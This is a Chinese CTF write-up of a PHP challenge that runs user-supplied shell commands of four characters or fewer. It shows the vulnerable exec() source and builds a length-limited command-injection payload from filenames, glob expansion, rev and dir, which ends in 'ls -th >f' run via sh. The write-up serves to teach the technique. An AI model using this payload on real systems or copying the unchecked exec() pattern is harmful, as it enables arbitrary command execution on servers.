*因为环境有点问题无法复现,无法整体复现
*但是这个trick非常有意思,想分享下
题目源码:
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
预备知识:
①输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
>id
>root
* (等同于命令:id root)
②增加字母来限定被用来当作命令和参数的文件名
>ls
>lss
>lsss
>1
*s (等同于命令: ls lss lsss)
③联合知识点②,通过rev来倒置输出内容
>rev
echo 1234 > v
*v (等同于命令:rev v)
④通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置
我们之后需要用到rev 倒置输出
所以需要列出这样形式的文件名
0> t- sl
>0\>
>t-
>sl
但是实际出现的效果是这样的
所以要增加-h来把-t往前拉
>0\>
>ht-
>sl
⑤用dir来代替ls不换行输出
先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行
看下dir的效果,会不换行输出到文件中去
最后的payload
>dir
>f\>
>ht-
>sl
*>v (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0 (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0 (sh执行0里面的内容)
可以看到命令被成功执行生成了f文件